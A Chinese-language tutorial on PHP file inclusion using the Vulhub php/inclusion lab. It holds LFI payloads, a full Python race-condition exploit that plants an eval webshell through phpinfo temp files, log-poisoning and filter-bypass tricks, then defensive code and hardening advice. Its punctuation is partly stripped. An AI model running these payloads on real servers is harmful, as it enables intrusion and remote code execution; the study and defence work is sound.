摘要PHP文件包含漏洞是Web安全领域最经典、生命周期最长的高危漏洞之一常年位列OWASP Top 10风险榜单至今仍是红队实战打点、CTF竞赛的核心考点。本文以Vulhub官方php/inclusion靶场为核心载体从PHP文件包含机制的底层原理出发完整还原漏洞的形成根因、基础验证、伪协议利用、全链路GetShell实战同时深度拓展红队场景下的高阶绕过手法与复合漏洞利用最终构建覆盖开发、运维、设备层面的企业级纵深防御体系并对漏洞的攻防演进趋势与未来安全挑战做出前瞻性分析。本文既适合安全入门者从零复现漏洞也能为资深渗透测试工程师提供实战化的攻防参考。一、引言PHP文件包含漏洞的前世今生PHP作为服务端Web开发的老牌语言凭借轻量化、易上手、生态完善的特性占据了全球Web开发市场的半壁江山。而文件包含机制正是PHP为实现代码复用、模块化开发设计的核心能力——开发者可以通过内置函数将公共的配置文件、页面组件、功能类库引入当前脚本大幅提升开发效率。但安全与便捷永远是一体两面。当开发人员对用户可控的输入缺乏严格校验直接将外部传入的参数拼接到文件包含函数中时原本用于提升开发效率的功能就会彻底沦为攻击者入侵服务器的入口。从2000年PHP 3时代首次被披露至今文件包含漏洞已经走过了20余年的攻防博弈历程从最初简单的远程文件包含RFI到本地文件包含LFI的花式利用再到如今与反序列化、SSRF、日志注入结合的复合漏洞攻击其攻击面不断拓展利用手法持续迭代至今仍是企业Web安全防护的重点难点。Vulhub作为国内最权威的开源漏洞靶场平台其php/inclusion环境完美还原了真实业务场景中的文件包含漏洞同时内置了基础的协议过滤规则是学习该漏洞从入门到进阶的黄金载体。本文将基于该靶场完成从原理到实战、从攻击到防御的全链路解析。二、底层原理PHP文件包含漏洞的形成逻辑与核心分类2.1 PHP文件包含的核心机制与函数特性PHP提供了4个核心文件包含函数其本质是将指定文件的内容作为PHP代码执行无论文件后缀是什么只要内容符合PHP语法规范就会被解析器执行——这正是文件包含漏洞能够实现从文件读取到代码执行的核心底层逻辑。4个核心函数的差异与特性如下表所示函数名执行特性错误处理重复包含处理漏洞利用场景include()条件执行仅当代码执行到该函数时才会包含文件抛出警告级错误脚本继续执行允许重复包含最常见利用容错性可多次尝试payloadrequire()预执行脚本加载时就会解析包含文件抛出致命级错误脚本直接终止允许重复包含较少错误直接中断会影响利用稳定性include_once()同include()同include()仅包含一次避免重复定义报错业务场景常见利用逻辑与include()一致require_once()同require()同require()仅包含一次业务场景常见利用逻辑与require()一致2.2 漏洞形成的三大必要条件文件包含漏洞的形成必须同时满足以下三个核心条件缺一不可可控的输入源文件包含函数的路径参数可通过GET/POST/COOKIE/HTTP头等方式被用户控制缺失的安全校验程序对用户传入的参数未做严格的白名单限制仅采用黑名单过滤甚至无任何过滤直接的参数拼接用户可控的参数被直接或间接拼接到文件路径中传入包含函数执行。Vulhubphp/inclusion靶场的核心漏洞代码lfi.php如下完美契合上述三个条件?php// 关闭错误提示避免泄露路径信息error_reporting(0);// 直接获取GET传入的file参数用户完全可控$file$_GET[file];// 仅做了部分伪协议的黑名单过滤存在大量绕过空间if(stristr($file,php://input)||stristr($file,zip://)||stristr($file,phar://)||stristr($file,data://)){die(这些协议已禁用);}// 可控参数直接传入include函数触发漏洞include($file);?同时靶场提供了phpinfo.php页面仅执行phpinfo()函数为我们实现从LFI到RCE的进阶利用提供了核心条件这一点我们将在第四章详细解析。2.3 漏洞的核心分类与利用限制根据包含文件的来源与利用条件我们将文件包含漏洞分为两大类其利用门槛与场景存在显著差异2.3.1 本地文件包含LFI指攻击者通过漏洞包含目标服务器本地的文件是实战中最常见的漏洞类型。该漏洞不受PHP配置项allow_url_include的限制无论该配置开启与否只要满足漏洞形成条件就可以成功利用。LFI的基础危害是任意文件读取可通过路径穿越读取服务器的敏感文件如/etc/passwd、网站源码、配置文件通过特定的利用手法可升级为远程代码执行RCE最终实现服务器权限控制。2.3.2 远程文件包含RFI指攻击者通过漏洞包含远程服务器上的恶意文件直接实现代码执行。该漏洞的利用有严格的配置要求必须在php.ini中同时开启allow_url_fopen On # 允许打开远程文件 allow_url_include On # 允许包含远程文件由于PHP 5.2之后的版本默认关闭上述配置因此RFI在实战中的出现频率远低于LFI但一旦出现利用门槛极低可直接getshell。三、环境搭建与基础漏洞验证3.1 靶场环境一键搭建3.1.1 前置环境准备靶场基于Docker容器化部署需提前安装Docker与docker-compose不同系统的安装命令如下# Ubuntu/Debian 系统aptupdateaptinstall-ydocker.iodocker-compose# CentOS/RHEL 系统yuminstall-ydockerdocker-compose# Kali Linux 系统默认已预装可直接升级aptupdateaptinstall-ydocker.iodocker-compose# 启动Docker服务并设置开机自启systemctl startdockersystemctlenabledocker3.1.2 Vulhub靶场部署# 克隆Vulhub仓库国内用户可使用Gitee镜像加速gitclone https://gitee.com/puier/vulhub.git# 进入php/inclusion靶场目录cdvulhub/php/inclusion# 一键启动靶场环境docker-composeup-d启动成功后靶场会映射宿主机的8080端口通过浏览器访问http://靶机IP:8080即可进入靶场首页核心漏洞页面为http://靶机IP:8080/lfi.php。3.2 基础漏洞验证本地文件包含LFI3.2.1 路径穿越与任意文件读取靶场的lfi.php未对传入的file参数做路径限制因此我们可以通过../路径穿越符跳出网站根目录读取服务器上的任意敏感文件。基础验证Payloadhttp://靶机IP:8080/lfi.php?file/etc/passwd访问该地址后页面成功返回服务器的/etc/passwd文件内容包含系统所有用户的信息直接证明LFI漏洞存在。路径穿越的核心逻辑网站默认根目录为/var/www/html当我们传入../../../../etc/passwd时PHP会将路径解析为/var/www/html/../../../../etc/passwd最终定位到/etc/passwd文件。在实战中可根据目标系统的类型读取对应的敏感文件Linux系统/etc/shadow、/proc/self/environ、/var/log/apache2/access.log、网站配置文件Windows系统C:\Windows\System32\drivers\etc\hosts、C:\Windows\php.ini、网站源码文件3.2.2 PHP伪协议利用源码读取与绕过PHP提供了多种内置伪协议可用于实现不同的利用效果也是文件包含漏洞最核心的利用手段之一。靶场虽然禁用了php://input、data://、phar://等高风险协议但未禁用php://filter协议为我们提供了源码读取的能力。核心痛点当我们直接传入PHP文件路径如lfi.php时文件会被PHP解析器执行无法看到源码内容而php://filter协议可以通过编码转换将源码内容以base64格式返回解码后即可获取完整源码。源码读取Payloadhttp://靶机IP:8080/lfi.php?filephp://filter/convert.base64-encode/resourcelfi.php访问后页面会返回一串base64编码的字符串通过base64解码即可得到lfi.php的完整源码实现未授权的网站源码泄露。常用伪协议的利用场景与限制伪协议核心作用利用条件靶场是否可用php://filter读取文件源码支持多种编码转换无特殊配置要求是php://input读取POST请求体直接写入PHP代码执行需开启allow_url_include否靶场禁用data://直接传入PHP代码执行任意命令需同时开启allow_url_fopen与allow_url_include否靶场禁用phar:///zip://读取压缩包内的文件结合反序列化漏洞利用无特殊配置要求否靶场禁用四、核心进阶从LFI到RCE的全链路GetShell实战基础的LFI漏洞仅能实现任意文件读取而在实战中我们的核心目标是实现远程代码执行最终拿到服务器权限。针对Vulhubphp/inclusion靶场最经典、最稳定的利用手法是phpinfo临时文件条件竞争本节将从原理到实战完整解析该利用手法的全流程。4.1 利用原理PHP文件上传的临时文件机制这里有一个绝大多数PHP开发者都不知道的核心特性无论PHP后端是否编写了文件上传处理代码只要客户端向PHP脚本发送了携带multipart/form-data格式的文件上传POST请求PHP都会自动将上传的文件保存到临时目录并生成一个临时文件。该临时文件的核心特性如下存储路径默认存储在系统临时目录/tmp/下命名规则文件名格式为phpXXXXXX其中XXXXXX为6位随机的大小写字母数字生命周期临时文件会在当前PHP脚本执行结束后被系统自动删除信息泄露phpinfo()函数会输出当前请求的所有环境变量包括上传文件的临时文件路径、文件名、大小等完整信息。基于上述特性我们可以构建完整的利用链路向靶场的phpinfo.php发送携带恶意PHP代码的文件上传POST请求PHP自动生成临时文件phpinfo.php将临时文件的完整路径返回到响应中在临时文件被删除之前通过lfi.php的LFI漏洞包含该临时文件临时文件中的恶意PHP代码被执行成功实现RCE最终getshell。这个利用过程的核心是时间竞争我们必须在phpinfo.php脚本执行结束、临时文件被删除之前完成路径获取与文件包含的操作因此需要通过自动化脚本实现毫秒级的请求发送提升竞争成功率。4.2 完整利用脚本编写与实战复现4.2.1 自动化利用脚本针对该靶场我们编写了循环竞争的自动化利用脚本大幅提升getshell的成功率脚本兼容Python3无需额外安装依赖importrequestsimportsysimportthreading# 靶场地址配置请修改为你的靶机IPTARGET_URLhttp://192.168.1.100:8080LFI_PAGEf{TARGET_URL}/lfi.phpPHPINFO_PAGEf{TARGET_URL}/phpinfo.php# 一句话木马密码为cmd兼容蚁剑、冰蝎连接SHELL_CODE?php eval($_REQUEST[cmd]); ?# 临时文件匹配关键词TMP_FILE_KEY[tmp_name]# 竞争循环次数LOOP_COUNT1000# 成功标志SUCCESS_FLAGFalsedefget_tmp_file(): 向phpinfo.php发送文件上传请求获取临时文件路径 try:# 构造文件上传表单files{file:(shell.jpg,SHELL_CODE,image/jpeg)}# 发送POST请求超时时间设置为1秒提升竞争效率responserequests.post(PHPINFO_PAGE,filesfiles,timeout1)ifresponse.status_code!200:returnNone# 从phpinfo响应中提取临时文件路径response_textresponse.text tmp_posresponse_text.find(TMP_FILE_KEY)iftmp_pos-1:returnNone# 截取临时文件路径tmp_starttmp_poslen(TMP_FILE_KEY)tmp_endresponse_text.find(/td,tmp_start)tmp_pathresponse_text[tmp_start:tmp_end].strip()# 验证路径格式是否符合要求iftmp_path.startswith(/tmp/php)andlen(tmp_path)14:returntmp_pathreturnNoneexceptExceptionase:returnNonedefinclude_shell(tmp_path): 通过LFI漏洞包含临时文件执行木马 globalSUCCESS_FLAGtry:# 发送包含请求验证是否执行成功params{file:tmp_path,cmd:echo shell_success;}responserequests.get(LFI_PAGE,paramsparams,timeout1)ifshell_successinresponse.text:print(f[] 恭喜Shell获取成功)print(f[] 临时文件路径{tmp_path})print(f[] 一句话地址{LFI_PAGE}?file{tmp_path})print(f[] 木马密码cmd)SUCCESS_FLAGTrueexceptExceptionase:passdefattack_loop(): 攻击循环持续竞争临时文件 globalSUCCESS_FLAGforiinrange(LOOP_COUNT):ifSUCCESS_FLAG:breakprint(f[*] 正在进行第{i1}次竞争...)tmp_pathget_tmp_file()iftmp_path:print(f[*] 成功获取临时文件{tmp_path}正在尝试包含...)# 开启多线程同时发送多个包含请求提升成功率for_inrange(5):threading.Thread(targetinclude_shell,args(tmp_path,)).start()if__name____main__:print(*50)print(Vulhub PHP Inclusion 漏洞利用脚本)print(*50)attack_loop()ifnotSUCCESS_FLAG:print([-] 竞争失败请检查靶场地址是否正确或增加循环次数重试)4.2.2 实战复现步骤修改脚本中的TARGET_URL为你的靶机IP与端口在攻击机Kali/Windows/Mac中执行脚本python3 lfi_exp.py脚本会自动循环竞争临时文件通常在100次以内即可成功获取shell成功后脚本会输出一句话木马的地址与连接密码可直接通过蚁剑、冰蝎等工具连接获取服务器的完全控制权限。4.3 红队实战高阶利用手法拓展除了临时文件竞争之外在真实的渗透场景中我们还可以根据目标环境的配置选择以下高阶利用手法实现从LFI到RCE的突破4.3.1 日志注入攻击日志注入的核心逻辑是将PHP恶意代码写入服务器的日志文件中再通过LFI漏洞包含日志文件触发代码执行。实战利用步骤确定目标服务器的日志文件路径常见路径如下Apache访问日志/var/log/apache2/access.log、/var/log/httpd/access_logSSH认证日志/var/log/auth.logNginx访问日志/var/log/nginx/access.log向目标服务器发送请求将恶意PHP代码写入日志中。实战坑点URL中的代码会被URL编码导致无法执行因此建议通过User-Agent请求头写入代码GET / HTTP/1.1 Host: 靶机IP:8080 User-Agent: ?php eval($_REQUEST[cmd]); ?通过LFI漏洞包含日志文件触发代码执行http://靶机IP:8080/lfi.php?file../../../../var/log/apache2/access.logcmdphpinfo();4.3.2 Session文件包含攻击Session文件包含的核心逻辑是将PHP恶意代码写入目标服务器的Session文件中再通过LFI漏洞包含该文件实现代码执行。实战利用条件目标网站开启了Session功能且Session文件的存储路径已知攻击者可以控制Session文件中的部分内容。常见Session存储路径/var/lib/php/sessions/sess_SessionID/tmp/sess_SessionID/var/lib/php5/sess_SessionID4.3.3 环境变量与进程文件包含在Linux系统中可通过/proc文件系统读取当前进程的环境变量、命令行参数等内容若这些内容可控可写入恶意代码后包含执行/proc/self/environ当前进程的环境变量可通过User-Agent头写入代码/proc/self/cmdline当前进程的启动命令参数若参数可控可实现代码执行。五、攻防博弈文件包含漏洞的绕过技巧与防护缺陷在真实的业务场景中开发人员通常会对用户输入做一定的过滤但绝大多数的黑名单过滤都存在绕过空间本节将解析实战中最常用的绕过手法帮助读者理解攻防博弈的核心逻辑。5.1 路径穿越过滤绕过开发人员最常见的防护手段是过滤路径穿越符../但可通过以下手法轻松绕过编码绕过对../进行URL编码、二次URL编码如%2e%2e%2f、%252e%252e%252f利用Web容器的自动解码特性绕过过滤冗余绕过通过重复的路径符绕过过滤如....//、..\/、.././../过滤掉../后剩余内容会重新拼接成有效的路径穿越符操作系统特性绕过Windows系统支持/与\两种路径分隔符可使用..\绕过对../的过滤Linux系统支持多斜杠////可绕过对单斜杠的过滤。5.2 后缀名限制绕过部分开发人员会强制要求包含的文件必须添加.php后缀可通过以下手法绕过%00截断绕过适用于PHP 5.3.4版本利用C语言的字符串结束符特性在路径后添加%00截断后续的后缀名Payload示例?file../../../../etc/passwd%00路径长度截断绕过适用于Windows系统与Linux老版本系统利用操作系统对路径长度的限制通过大量的.与/填充路径超出长度限制后后续的后缀名会被自动截断查询字符串/锚点绕过适用于远程文件包含场景通过?或#将后续的后缀名变为查询字符串或锚点Payload示例?filehttp://攻击者IP/shell.txt?。5.3 伪协议过滤绕过针对开发人员对伪协议的黑名单过滤可通过以下手法绕过大小写绕过利用PHP对协议名不区分大小写的特性如PHP://FILTER、Data://绕过对小写协议名的过滤编码绕过通过php://filter的多种编码转换过滤器绕过对关键字的检测如使用convert.iconv.UTF-8.UTF-16、string.rot13等过滤器替代convert.base64-encode协议等价替换使用zip://替代phar://使用php://filter替代php://input绕过针对特定协议的黑名单。5.4 open_basedir限制绕过open_basedir是PHP中用于限制文件访问路径的核心配置可限制PHP只能访问指定的目录但仍存在多种绕过手法伪协议绕过通过php://filter协议结合特殊过滤器绕过open_basedir的限制读取目录外的文件目录遍历绕过通过glob://协议遍历open_basedir限制外的目录结构PHP原生类绕过利用PHP内置的SplFileInfo、DirectoryIterator等类绕过open_basedir的限制实现文件读取与目录遍历。六、纵深防御企业级PHP文件包含漏洞防护体系从攻防博弈的历程可以看出单纯的黑名单过滤无法彻底防御文件包含漏洞必须构建覆盖开发层、运维层、设备层的纵深防御体系从源头治理漏洞实现全链路的安全防护。6.1 开发层源头治理根除漏洞风险开发层面的防护是解决文件包含漏洞的根本核心原则是永远不要信任用户的输入永远不要让用户控制文件包含的路径。强制使用白名单机制这是唯一彻底杜绝文件包含漏洞的解决方案。预先定义允许包含的文件列表用户仅能传入文件对应的索引而非完整路径或文件名示例代码如下?php// 白名单列表仅允许包含这些文件$allow_files[homehome.php,aboutabout.php,contactcontact.php];// 获取用户传入的参数$page$_GET[page]??home;// 白名单校验仅当参数在白名单中时才执行包含if(isset($allow_files[$page])){include($allow_files[$page]);}else{die(页面不存在);}?严格的输入过滤若业务场景必须让用户传入文件名需严格过滤所有危险字符禁止传入路径分隔符/、\路径穿越符..URL协议与伪协议关键字://固定包含路径预先固定文件的包含目录将用户传入的参数仅作为文件名拼接在固定路径后避免路径穿越示例代码如下?php// 固定包含目录$base_dir/var/www/html/page/;// 获取用户传入的文件名过滤路径分隔符$filestr_replace([../,/,\\],,$_GET[file]);// 拼接完整路径$full_path$base_dir.$file..php;// 校验文件是否存在且在固定目录内if(file_exists($full_path)strpos(realpath($full_path),$base_dir)0){include($full_path);}else{die(文件不存在);}?禁用危险函数在业务无需使用的场景下在php.ini中禁用include_once、require_once之外的文件包含函数减少攻击面。6.2 运维层环境加固缩小攻击面运维层面的防护是漏洞治理的第二道防线核心原则是最小权限原则关闭不必要的风险配置。PHP安全配置加固; 关闭远程文件包含能力彻底杜绝RFI漏洞 allow_url_fopen Off allow_url_include Off ; 限制PHP仅能访问网站根目录与临时目录 open_basedir /var/www/html/:/tmp/ ; 关闭错误信息显示避免泄露路径、源码等敏感信息 display_errors Off ; 关闭PHP版本信息泄露 expose_php OffWeb容器安全加固对Apache/Nginx做严格的访问控制禁止目录遍历限制上传目录的PHP执行权限网站根目录设置为只读权限仅上传目录开放写入权限且写入权限与执行权限严格分离Web服务使用低权限用户运行如www-data、nobody禁止使用root用户运行避免漏洞被利用后直接获取服务器最高权限。服务器权限最小化严格限制Web运行用户的文件访问权限禁止访问/etc/shadow、/root等敏感目录与文件关闭服务器不必要的端口与服务缩小攻击面定期更新PHP、Web容器、操作系统的安全补丁修复已知的底层绕过漏洞。6.3 设备层纵深防御拦截恶意攻击设备层面的防护是漏洞治理的最后一道防线核心原则是实时检测与拦截恶意请求即使开发与运维层面存在疏漏也能阻止攻击行为。Web应用防火墙WAF部署在业务入口部署WAF配置针对文件包含漏洞的专用防护规则实时拦截包含路径穿越符、伪协议、敏感系统路径的恶意请求RASP运行时应用自我保护部署RASP是当前最前沿的Web安全防护技术可嵌入PHP运行时环境实时监控文件包含函数的调用行为无论攻击者使用何种绕过手法只要包含了非法路径的文件都会被实时拦截防护效果远优于传统WAF常态化安全检测在开发阶段集成代码审计工具自动检测代码中的文件包含漏洞在上线前完成修复建立SDL安全开发生命周期将安全测试融入开发的全流程定期开展漏洞扫描与渗透测试及时发现并修复业务中存在的漏洞。七、前瞻展望文件包含漏洞的攻防演进趋势随着PHP版本的迭代与企业安全防护能力的提升传统的文件包含漏洞利用难度不断加大但攻防博弈永远不会停止未来文件包含漏洞的攻防将呈现以下三大趋势7.1 复合漏洞利用成为主流传统的单一文件包含漏洞越来越少未来的攻击将更多地采用文件包含其他漏洞的复合利用模式如文件包含Phar反序列化通过phar://协议触发反序列化漏洞绕过传统的防护规则文件包含SSRF通过SSRF漏洞读取内网服务器的文件再通过文件包含漏洞执行代码文件包含日志注入XSS通过XSS漏洞将恶意代码写入日志再通过文件包含漏洞执行。7.2 AI驱动的攻防博弈升级随着大模型技术的快速发展AI将全面参与文件包含漏洞的攻防博弈攻击侧攻击者可通过AI生成海量的绕过payload自动适配目标的防护规则实现自动化的漏洞利用与打点防守侧防守方可通过AI学习正常的业务请求模型实时检测异常的文件包含行为即使是从未出现过的0day绕过手法也能被精准识别。7.3 容器化与云原生环境带来新的挑战如今越来越多的企业业务部署在Docker、K8s等云原生环境中文件包含漏洞的利用场景也发生了变化传统的读取/etc/passwd、提权等攻击手法的价值降低攻击者的核心目标变为容器逃逸、读取环境变量中的AK/SK、API密钥等敏感信息云原生环境的动态扩缩容特性给传统的日志审计、攻击溯源带来了新的挑战对防护体系的适配性提出了更高的要求。八、总结与思考PHP文件包含漏洞走过了20余年的攻防历程至今仍是Web安全领域的核心风险点其本质不是PHP语言的设计缺陷而是开发人员对用户输入的过度信任、安全意识的缺失导致的人为漏洞。从本文的解析可以看出文件包含漏洞的利用手法不断迭代绕过技巧层出不穷单纯的黑名单过滤、单点防护永远无法彻底解决问题。只有从开发源头出发采用白名单机制根除漏洞风险结合运维层面的环境加固与设备层面的纵深防御才能构建起真正有效的防护体系。对于安全从业者而言文件包含漏洞是Web安全入门的必修课也是红队实战的核心技能。只有深入理解漏洞的底层原理掌握攻防双方的核心逻辑才能在不断变化的攻防博弈中占据主动。安全之路永无止境唯有持续学习不断精进才能应对未来的安全挑战。